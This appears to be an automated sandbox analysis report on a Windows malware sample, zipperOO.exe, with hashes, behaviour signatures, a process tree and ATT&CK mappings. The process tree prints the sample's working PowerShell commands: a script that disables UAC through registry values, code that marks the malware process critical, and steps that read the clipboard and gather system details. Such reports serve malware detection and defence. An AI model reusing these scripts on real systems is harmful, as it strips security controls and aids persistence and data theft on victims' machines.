Analysis
- user interaction
yes - max time kernel
89s - max time network
87s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
28/07/2026, 04:26
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
zipperOO.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
15 signatures
150 seconds
General
- Target zipperOO.exe
- Size 10.2MB
- Sample260728-e2re4aeh89
- SHA256 ad7964a2b635e31042552bd54ea37c6caeb8b482de2e0339ea3bead8e4258a6f
- MD5 b80e2175b4caa975893de83a37392a45
- SHA1 2b416c8e4dc3114308c5572d3bc53c33914dd924
- SHA512 6ed78dc9b24aa59b242a04e02628f7a1b67772d20e44c85e6344ea7c03145281ce4af4d654611c872a3ab709deba9c8be9c9a16e1f1c1affeacff9c59aa3b96b
- SSDEEP 98304:7BWzO/Q0lBrFc/9oJeEj/XPP4NiwDl10b8E2jIvnLT:7KQQaFceJbbXYNiMq2I3
- TLSH T137B67C43FCA519E9C1ADD231C9B692227B317C490B3263D72B50B2783E767D0AE7A354
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- UAC bypass 3 TTPs 6 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" powershell.exe - Clipboard Data 1 TTPs 1 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
pid Process 4568 powershell.exe -
pid Process 5604 powershell.exe 4804 powershell.exe 2236 powershell.exe 716 powershell.exe 5008 powershell.exe 2576 powershell.exe 3912 powershell.exe - Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 2 discord.com 1 discord.com - Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3280 cmd.exe 4964 cmd.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3852 systeminfo.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\Local Settings OpenWith.exe - Modifies registry key 1 TTPs 2 IoCs
pid Process 6048 reg.exe 5700 reg.exe - Suspicious behavior: EnumeratesProcesses 23 IoCs
pid Process 5604 powershell.exe 5604 powershell.exe 5604 powershell.exe 4804 powershell.exe 4804 powershell.exe 4804 powershell.exe 2236 powershell.exe 2236 powershell.exe 2236 powershell.exe 2576 powershell.exe 2576 powershell.exe 2576 powershell.exe 3912 powershell.exe 3912 powershell.exe 3912 powershell.exe 5008 powershell.exe 5008 powershell.exe 5008 powershell.exe 4568 powershell.exe 4568 powershell.exe 4568 powershell.exe 716 powershell.exe 716 powershell.exe - Suspicious behavior: LoadsDriver 64 IoCs
pid Process 416 Process not Found 4936 Process not Found 2812 Process not Found 2900 Process not Found 3128 Process not Found 4628 Process not Found 3340 Process not Found 2868 Process not Found 4472 Process not Found 5796 Process not Found 5720 Process not Found 5188 Process not Found 2256 Process not Found 2844 Process not Found 3656 Process not Found 2556 Process not Found 4356 Process not Found 1292 Process not Found 3440 Process not Found 4588 Process not Found 5008 Process not Found 5968 Process not Found 3492 Process not Found 1392 Process not Found 1708 Process not Found 5452 Process not Found 3168 Process not Found 1288 Process not Found 1444 Process not Found 1148 Process not Found 5896 Process not Found 5852 Process not Found 3820 Process not Found 3540 Process not Found 3272 Process not Found 2056 Process not Found 4908 Process not Found 4568 Process not Found 5880 Process not Found 6052 Process not Found 5068 Process not Found 2756 Process not Found 4736 Process not Found 4376 Process not Found 5596 Process not Found 4192 Process not Found 4160 Process not Found 1468 Process not Found 3068 Process not Found 5940 Process not Found 5416 Process not Found 4728 Process not Found 916 Process not Found 3044 Process not Found 3536 Process not Found 2620 Process not Found 2736 Process not Found 3872 Process not Found 5620 Process not Found 3212 Process not Found 5132 Process not Found 4460 Process not Found 5192 Process not Found 4592 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5604 powershell.exe Token: SeIncreaseQuotaPrivilege 5604 powershell.exe Token: SeSecurityPrivilege 5604 powershell.exe Token: SeTakeOwnershipPrivilege 5604 powershell.exe Token: SeLoadDriverPrivilege 5604 powershell.exe Token: SeSystemProfilePrivilege 5604 powershell.exe Token: SeSystemtimePrivilege 5604 powershell.exe Token: SeProfSingleProcessPrivilege 5604 powershell.exe Token: SeIncBasePriorityPrivilege 5604 powershell.exe Token: SeCreatePagefilePrivilege 5604 powershell.exe Token: SeBackupPrivilege 5604 powershell.exe Token: SeRestorePrivilege 5604 powershell.exe Token: SeShutdownPrivilege 5604 powershell.exe Token: SeDebugPrivilege 5604 powershell.exe Token: SeSystemEnvironmentPrivilege 5604 powershell.exe Token: SeRemoteShutdownPrivilege 5604 powershell.exe Token: SeUndockPrivilege 5604 powershell.exe Token: SeManageVolumePrivilege 5604 powershell.exe Token: 33 5604 powershell.exe Token: 34 5604 powershell.exe Token: 35 5604 powershell.exe Token: 36 5604 powershell.exe Token: SeIncreaseQuotaPrivilege 5604 powershell.exe Token: SeSecurityPrivilege 5604 powershell.exe Token: SeTakeOwnershipPrivilege 5604 powershell.exe Token: SeLoadDriverPrivilege 5604 powershell.exe Token: SeSystemProfilePrivilege 5604 powershell.exe Token: SeSystemtimePrivilege 5604 powershell.exe Token: SeProfSingleProcessPrivilege 5604 powershell.exe Token: SeIncBasePriorityPrivilege 5604 powershell.exe Token: SeCreatePagefilePrivilege 5604 powershell.exe Token: SeBackupPrivilege 5604 powershell.exe Token: SeRestorePrivilege 5604 powershell.exe Token: SeShutdownPrivilege 5604 powershell.exe Token: SeDebugPrivilege 5604 powershell.exe Token: SeSystemEnvironmentPrivilege 5604 powershell.exe Token: SeRemoteShutdownPrivilege 5604 powershell.exe Token: SeUndockPrivilege 5604 powershell.exe Token: SeManageVolumePrivilege 5604 powershell.exe Token: 33 5604 powershell.exe Token: 34 5604 powershell.exe Token: 35 5604 powershell.exe Token: 36 5604 powershell.exe Token: SeDebugPrivilege 4804 powershell.exe Token: SeIncreaseQuotaPrivilege 4804 powershell.exe Token: SeSecurityPrivilege 4804 powershell.exe Token: SeTakeOwnershipPrivilege 4804 powershell.exe Token: SeLoadDriverPrivilege 4804 powershell.exe Token: SeSystemProfilePrivilege 4804 powershell.exe Token: SeSystemtimePrivilege 4804 powershell.exe Token: SeProfSingleProcessPrivilege 4804 powershell.exe Token: SeIncBasePriorityPrivilege 4804 powershell.exe Token: SeCreatePagefilePrivilege 4804 powershell.exe Token: SeBackupPrivilege 4804 powershell.exe Token: SeRestorePrivilege 4804 powershell.exe Token: SeShutdownPrivilege 4804 powershell.exe Token: SeDebugPrivilege 4804 powershell.exe Token: SeSystemEnvironmentPrivilege 4804 powershell.exe Token: SeRemoteShutdownPrivilege 4804 powershell.exe Token: SeUndockPrivilege 4804 powershell.exe Token: SeManageVolumePrivilege 4804 powershell.exe Token: 33 4804 powershell.exe Token: 34 4804 powershell.exe Token: 35 4804 powershell.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2872 OpenWith.exe 4128 LogonUI.exe - Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 4836 wrote to memory of 3280 4836 zipperOO.exe 89 PID 4836 wrote to memory of 4964 4836 zipperOO.exe 91 PID 4964 wrote to memory of 3852 4964 cmd.exe 93 PID 4964 wrote to memory of 3080 4964 cmd.exe 94 PID 4836 wrote to memory of 6048 4836 zipperOO.exe 97 PID 4836 wrote to memory of 5604 4836 zipperOO.exe 99 PID 4836 wrote to memory of 4804 4836 zipperOO.exe 101 PID 4836 wrote to memory of 2236 4836 zipperOO.exe 103 PID 4836 wrote to memory of 5700 4836 zipperOO.exe 105 PID 4836 wrote to memory of 2576 4836 zipperOO.exe 107 PID 4836 wrote to memory of 3912 4836 zipperOO.exe 110 PID 4836 wrote to memory of 5008 4836 zipperOO.exe 112 PID 4836 wrote to memory of 4568 4836 zipperOO.exe 114 PID 4836 wrote to memory of 716 4836 zipperOO.exe 116 PID 4836 wrote to memory of 3592 4836 zipperOO.exe 120
Processes
-
C:\Users\Admin\AppData\Local\Temp\zipperOO.exe"C:\Users\Admin\AppData\Local\Temp\zipperOO.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4836 -
C:\Windows\system32\cmd.execmd /c ver2⤵
- Executes a command shell one-liner
PID:3280
-
-
C:\Windows\system32\cmd.execmd /c "systeminfo | findstr /B /C:\"OS Name\""2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4964 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:3852
-
-
C:\Windows\system32\findstr.exefindstr /B /C:\"OS Name\"3⤵PID:3080
-
-
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid2⤵
- Modifies registry key
PID:6048
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$cs = Get-CimInstance Win32_ComputerSystem; $mem = Get-CimInstance Win32_PhysicalMemory | Select-Object -First 1; $totalGB = $cs.TotalPhysicalMemory / 1GB; $ddr = switch ($mem.SMBIOSMemoryType) { 26 { 'DDR5' } 20 { 'DDR4' } 21 { 'DDR3' } 25 { 'DDR3' } 24 { 'DDR2' } 17 { 'SDRAM' } default { 'DDR' }; }; Write-Output \"$([math]::Round($totalGB, 2)) GB $ddr\""2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5604
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$cpu = Get-CimInstance Win32_Processor; Write-Output \"$($cpu.Name) ($($cpu.NumberOfCores) cores, $($cpu.NumberOfLogicalProcessors) threads)\""2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4804
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Get-CimInstance Win32_VideoController | Select-Object -ExpandProperty Name"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2236
-
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid2⤵
- Modifies registry key
PID:5700
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " # Disable UAC by modifying registry $regPath = \"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" # Set EnableLUA to 0 (disables UAC) Set-ItemProperty -Path $regPath -Name \"EnableLUA\" -Value 0 -Type DWord # Set ConsentPromptBehaviorAdmin to 0 (no prompt for admins) Set-ItemProperty -Path $regPath -Name \"ConsentPromptBehaviorAdmin\" -Value 0 -Type DWord # Set PromptOnSecureDesktop to 0 (disable secure desktop) Set-ItemProperty -Path $regPath -Name \"PromptOnSecureDesktop\" -Value 0 -Type DWord # Verify changes $enableLUA = (Get-ItemProperty -Path $regPath -Name \"EnableLUA\").EnableLUA if ($enableLUA -eq 0) { Write-Host \"SUCCESS: UAC has been disabled!\" } else { Write-Host \"FAILED: Could not disable UAC\" } "2⤵
- UAC bypass
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2576
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " # Disable UAC by modifying registry $regPath = \"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" # Set EnableLUA to 0 (disables UAC) Set-ItemProperty -Path $regPath -Name \"EnableLUA\" -Value 0 -Type DWord # Set ConsentPromptBehaviorAdmin to 0 (no prompt for admins) Set-ItemProperty -Path $regPath -Name \"ConsentPromptBehaviorAdmin\" -Value 0 -Type DWord # Set PromptOnSecureDesktop to 0 (disable secure desktop) Set-ItemProperty -Path $regPath -Name \"PromptOnSecureDesktop\" -Value 0 -Type DWord # Verify changes $enableLUA = (Get-ItemProperty -Path $regPath -Name \"EnableLUA\").EnableLUA if ($enableLUA -eq 0) { Write-Host \"SUCCESS: UAC has been disabled!\" } else { Write-Host \"FAILED: Could not disable UAC\" } "2⤵
- UAC bypass
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3912
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " $code = @\" using System; using System.Runtime.InteropServices; public class CriticalProc { [DllImport(\"ntdll.dll\")] public static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength); } \"@ Add-Type -TypeDefinition $code $process = Get-Process -Id 4836 $breakOnTermination = 1 $result = [CriticalProc]::NtSetInformationProcess($process.Handle, 0x1D, [ref]$breakOnTermination, 4) if ($result -eq 0) { Write-Host \"SUCCESS\" } else { Write-Host \"FAILED: $result\" } "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5008
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Get-Clipboard2⤵
- Clipboard Data
- Suspicious behavior: EnumeratesProcesses
PID:4568
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('{F13}'); Start-Sleep -Seconds 1; [System.Windows.Forms.SendKeys]::SendWait('{F13}')"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:716
-
-
C:\Windows\system32\shutdown.exeshutdown /l2⤵PID:3592
-
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2872
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa3a38055 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:4128
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:2368
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
1Disable or Modify Tools
1Modify Registry
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 d951880167e7e61ad89447b3f6cb1af5e66273010a7daaae9cbd9998691cbdc2
- MD5 27a3e98c567109fca360726ee784120f
- SHA1 8a159042924f683c12dfceea08a399dbbda6f078
- SHA512 ac95a2092a21e7041a7b404fe8030ce738f9e4277f3c00bd549b1e2be62122971a0976033b34e3be60a83dd6d17e33fe0ac1bf91c048453686a832c242ca0e57
- TLSH T191217637B3DD8224CC99403A10DDAC1036B683CB40DECF9B6B85E219B82F698DF60160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 86ae1dde93319400f85255e9dbdf7074af6436537c1c12fad460fa8e230b2139
- MD5 504d96f2263b309f290d4c745b3e58db
- SHA1 0d463e7b99e5b8690f4e0af18a3e40c3555d7818
- SHA512 1d4d2a35579867159a89cd44fda95759d12595b212c0590db3983844ad10590bd151504bbd838adeb843e91c4390508202a54b730172cfacb87335733221102e
- TLSH T123217633B3DD8214C8A9013A10DDAC1036B687CB40DECF9B6BC1E269A42F298CF61060
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 473889632e80d34ad4e94bd2875dd79d461db77e30248746936d3b3efc38ca52
- MD5 97b2b2511b410f06ad931ccd7a24ac35
- SHA1 e80154ec87e5310908cab7d288c106238b4945b5
- SHA512 e298d7e25af26be69829e1becddad556cd49ac1fc7fb067a3dbf498307bbb422e58f4f353277d5a3da1c966f8d209508bdd25f068336d3b7e2886159f1540df5
- TLSH T103219833F3DD8224DC99413A10DDAC1036B6C7CB40DECF9B6B81E159A82F298DF60060
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 0e56deb773923cbd1983ef7d920d4c06bfc93bbef70b914b54d86ed676ad084d
- MD5 4f6a0c19a75e07de7cc7f35b563feef5
- SHA1 fa414d3b9a0757ddcc49ecaf4ecbc2961f8a7e17
- SHA512 4bc69b6ea3a0a43f14796f5eceea3687376319b5f1816a6e7d68ef46884c99b5474759cf3674f7f07892075120fa0d7e6cb0e4d2966db95693ce45005da18439
- TLSH T196217B37B3DC8724DC9A413A50CEAC1036B6C7DB409ECFABBB84D544B42F699DE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 5e34248dd2cc55f37525b0f9dd7f4f19e879ad15905df49539c20497a21dd7ec
- MD5 0773347dabec51061ea4a74589125e12
- SHA1 05aa0df69fe48f55680b77c79ae91b5912ca48d4
- SHA512 43e24bd488c61f8b8de22a5643a668863f07b523674e94c74f6ce644b8510c58e54ee8b9d45c5f99d0523501d316b9dc8d6d44360d99e1b0b0ad88182bad6669
- TLSH T12A21AB33B3CC8724CC8A403A10CEAC1032B6C7DB409ECFABBB84D544B42F699DE60260
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 948B
- SHA256 0b9ca35d7c3a939f6496acd440913cf92a28884ed0379d5b9756a0446ef017ec
- MD5 e8384d67ca2c2a746cfe621276d427ba
- SHA1 cf935f4520cbc26e6e00ccdd4fe598d2acac01ee
- SHA512 6ed884b76286a19de7139c57a4af0d24664b337a57098835fe76df7fad6e1b1203a4909ae361cc50eebbcf27f3aee1d0a16324dec74c04953dde97a5f2357a25
- TLSH T175116633F3CC8624DC5A413610CEA81136B687CB40DECE6B7B84D154B42F685DE60260
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 935899f690dfcf66a41c7837bbf84c5a0eea001b26e1adc5aa0fa84d5d96d1ca
- MD5 65171dc04bb594f6cfa62741733f7000
- SHA1 76898a5df77e18dffb378581d5a0f837d1011b5e
- SHA512 e3487ee16c56711c5f3b7d6b759bc00ddb70586d9df7590b90f035d50e55feffc20a2d1dbcf0e46d464d6c7823591cc3146d19d132d593adb1d2be2a614dc295
- TLSH T1F6215733B3CD8665D889403A50CEAC1032B6D7DB40DECE9BAB84D559F43F699CE61560
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_okqxmwhw.rwf.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH